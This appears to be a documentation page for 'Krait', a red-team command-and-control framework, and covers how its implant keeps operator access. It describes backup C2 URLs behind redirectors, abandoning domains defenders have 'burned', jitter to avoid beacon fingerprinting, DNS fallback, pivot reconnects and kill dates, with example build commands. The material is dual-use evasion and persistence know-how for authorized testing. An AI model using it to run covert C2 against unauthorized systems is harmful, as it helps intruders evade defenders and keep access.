← Documentation / Infrastructure

Resilience Guide

Backup URLs, failover, backoff, crash recovery, and operator overrides

How the Krait agent survives infrastructure loss, server outages, and burned domains — and how to configure it.

Overview

The agent is designed to maintain access even when parts of the C2 infrastructure go down. It combines automatic recovery mechanisms with operator-controlled overrides:

MechanismAutomaticOperator-Controlled
Exponential backoff✓Configurable threshold + cap
Jitter✓Configurable percentage
URL rotation (backup URLs)✓Configure at build time or live
Primary auto-retry✓—
DNS transport fallback✓Requires build flag + config
Peer-reconnect (pipe/TCP)✓Requires --peer-reconnect
Abandon URL—abandon-url <index>
Set backup URL (live)—set-backup-url <slot> <host:port>
Working hours✓Set at build or via interval
Kill date✓Set at build time
COFF loader crash recovery✓—
Watchdog thread restart✓—

Backup URLs & URL Rotation

What it does

The agent supports up to 3 URLs: one primary and two backups. When the current server becomes unreachable, the agent automatically rotates to the next URL after a configurable number of consecutive failures.

Configuration

Set backup URLs at build time via the CLI or Web UI:

krait> build windows -s primary.example.com -p 8443 \
    --backup-url1 backup1.example.com:9443 \
    --backup-url2 backup2.example.com:8443 \
    --backoff-threshold 3

In the Web UI, navigate to Build → set backup URLs in the Resilience section.

Or add/change backup URLs on a running agent:

set-backup-url 1 backup1.example.com:9443
set-backup-url 2 backup2.example.com:8443

How rotation works

  1. Agent polls the current URL (starts with primary, index 0)
  2. On failure, consecutiveFailures increments
  3. After backoffThreshold consecutive failures (default: 3), rotate to the next URL
  4. Rotation order: primary (0) → backup1 (1) → backup2 (2) → primary (0) → ...
  5. Abandoned URLs (via abandon-url) are skipped in the rotation

With redirectors

In a production engagement, each URL typically points to a different redirector, all proxying to the same Krait server:

Agent config:
  Primary:    redir1.legit-domain.com:443   → Redirector 1 → Krait server
  Backup 1:   redir2.other-domain.com:443   → Redirector 2 → Krait server
  Backup 2:   redir3.burner-domain.com:443  → Redirector 3 → Krait server

If the blue team burns Redirector 1, the agent rotates to Redirector 2. You can then issue abandon-url 0 to permanently stop probing the burned domain.


Primary Auto-Retry

What it does

When the agent is running on a backup URL, it periodically probes the primary to check if it’s back online. If the primary responds, the agent switches back automatically.

Behavior

  • Every 60 successful polls on a backup URL, the agent sends one probe to the primary
  • If the primary responds: switch back, re-register, resume normal polling
  • If the primary is still down: stay on backup, try again in another 60 polls
  • If the primary has been abandoned (abandon-url 0): probing is skipped entirely

This handles the common case where the primary had a temporary outage (server restart, network glitch) and recovers.


Abandon URL (Operator Command)

What it does

Tells the agent to permanently stop trying a specific URL. The agent sets a bit in its internal abandonedUrls bitmask and the URL is skipped during rotation.

Usage

abandon-url <index>
IndexURL
0Primary server
1Backup URL 1
2Backup URL 2

When to use

  • The blue team has identified and is monitoring a domain — continuing to probe it is an OPSEC risk
  • The operator voluntarily takes a server offline (compromised, decommissioned)
  • A redirector’s TLS cert has expired or been revoked

Confirmation

The agent sends back a result confirming the action:

URL index 0 abandoned (mask=0x1)

Important

Abandoning all URLs leaves the agent with nowhere to go. It will continue trying the last active URL. If you need to move the agent entirely, use set-backup-url to add a new URL before abandoning the old ones.


Set Backup URL (Live)

What it does

Adds or changes a backup URL on a running agent without rebuilding. The agent updates its internal config immediately.

Usage

set-backup-url <slot> <host:port>
  • slot must be 1 or 2 (backup URL 1 or 2)
  • host:port is the new URL — if the port matches the primary, you can omit it

When to use

  • Spinning up a new redirector mid-engagement
  • Rotating to fresh infrastructure after a domain is burned
  • Adding redundancy to an agent that was originally built without backup URLs

Example workflow

# Agent was built with only a primary URL
# Add backup infrastructure:
set-backup-url 1 new-redir.example.com:443

# Later, primary gets burned:
abandon-url 0
# Agent is now on backup 1

# Spin up a second backup:
set-backup-url 2 another-redir.example.com:443

Exponential Backoff

What it does

When polls fail, the agent progressively slows down its retry rate to reduce noise on the wire.

Behavior

  • First backoffThreshold failures (default: 3): normal interval + jitter
  • After threshold: interval doubles on each subsequent failure
  • Capped at backoffMax (default: 3600 seconds / 1 hour)
  • On first successful poll: interval resets to the configured base

Example progression (5s base interval, threshold=3, max=3600)

Failure #Sleep
1–3~5s (normal + jitter)
4~10s
5~20s
6~40s
7~80s
…doubles each time
N3600s (cap)

Build-time config

--backoff-threshold 3    # failures before rotation + backoff starts
--backoff-max 3600       # max sleep in seconds during backoff

Jitter

What it does

Every sleep interval is randomized within ±jitter% of the base. This prevents predictable beacon timing that network monitoring tools can fingerprint.

Example

With --interval 30 --jitter 20:

  • Sleep range: 24s to 36s (30 ± 20%)
  • Each poll uses a different random value within that range

Build-time config

--interval 30    # base poll interval in seconds
--jitter 20      # jitter percentage (0-50)

DNS Transport Fallback

What it does

After exhausting all URL rotation options (10 full rotation cycles with every URL failing), the agent switches from HTTPS to DNS transport as a last resort.

Requirements

  • Agent built with DNS domain configured (--dns-domain c2.example.com)
  • Runtime flag RT_TRANSPORT_FALLBACK_DNS enabled
  • Server running with --dns-domain and --dns-port

Trigger condition

With 2 URLs and threshold=3: 10 cycles × 2 URLs × 3 failures = 60 consecutive failures before DNS fallback activates.


Peer-Reconnect (Pipe & TCP)

What it does

When a linked child agent (SMB pipe or TCP) loses its parent connection, it waits for a new parent to reconnect. If no reconnection occurs within the timeout, it falls back to direct HTTPS beaconing.

Behavior

  1. Parent disconnects (killed, network failure)
  2. Child waits up to 300 seconds for a new parent to connect to the pipe/socket
  3. If a new parent connects: re-register through the new parent
  4. If timeout expires: initialize HTTPS poll client, register directly with server

Build flag

--peer-reconnect    # enables pipe/TCP reconnect + HTTPS fallback

Working Hours

What it does

The agent only polls during a configured time window. Outside that window, it sleeps until the next start time.

Behavior

  • workStart / workEnd are hours of day (0–23)
  • Supports wrap-around (e.g., workStart=22 workEnd=6 for overnight)
  • Outside the window: agent calculates minutes until workStart and sleeps

Example

--work-start 8 --work-end 18    # active 8 AM to 6 PM

Kill Date

What it does

The agent self-terminates after a specified date. On each poll iteration, it checks the system time against the kill date — if the date has passed, the agent exits cleanly.

Build-time config

--kill-date 2026-12-31    # agent self-terminates after this date

COFF Loader Crash Recovery

What it does

Every BOF execution is wrapped in structured exception handling (__try/__except). If a BOF crashes (null pointer, access violation, illegal instruction, divide by zero), the exception is caught, an error is returned to the operator, and the agent continues processing.

Behavior

  • The crash is contained to the single BOF — no other state is corrupted
  • The operator sees an error result with the Windows exception code
  • The poll thread continues handling subsequent tasks normally

Watchdog Thread Restart

What it does

A monitor thread watches the poll thread. If the poll thread terminates abnormally (heap corruption, stack overflow, or other unrecoverable crash that escapes the COFF loader’s SEH), the watchdog reinitializes all subsystems and restarts the poll loop.

Constants

ParameterValue
Max restarts3
Restart window5 minutes

If the poll thread crashes 3 times within 5 minutes, the watchdog gives up and the agent exits (persistence mechanism takes over if configured).


Fast Poll for Tunneling

When a SOCKS proxy or reverse port forward is active, the poll interval drops to 100ms to ensure tunnel traffic flows with minimal latency. The interval returns to normal when the tunnel is closed.


Standard engagement

krait> build windows -s redir1.example.com -p 443 \
    --backup-url1 redir2.example.com:443 \
    -i 30 -j 20 \
    --backoff-threshold 3 --backoff-max 3600 \
    --work-start 7 --work-end 19 \
    --kill-date 2026-12-31

High-resilience (long-term access)

krait> build windows -s redir1.example.com -p 443 \
    --backup-url1 redir2.example.com:443 \
    --backup-url2 redir3.example.com:443 \
    -i 60 -j 25 \
    --backoff-threshold 3 --backoff-max 3600 \
    --dns-domain c2.example.com \
    --peer-reconnect \
    --work-start 6 --work-end 22 \
    --kill-date 2027-06-30

Pivot agent (child)

krait> build windows --transport smb --pipe-name msagent_47 \
    -s redir1.example.com -p 443 \
    --backup-url1 redir2.example.com:443 \
    --peer-reconnect \
    -i 30 -j 15

If the parent dies, the child waits 300s for a new parent, then falls back to direct HTTPS through the backup URL infrastructure.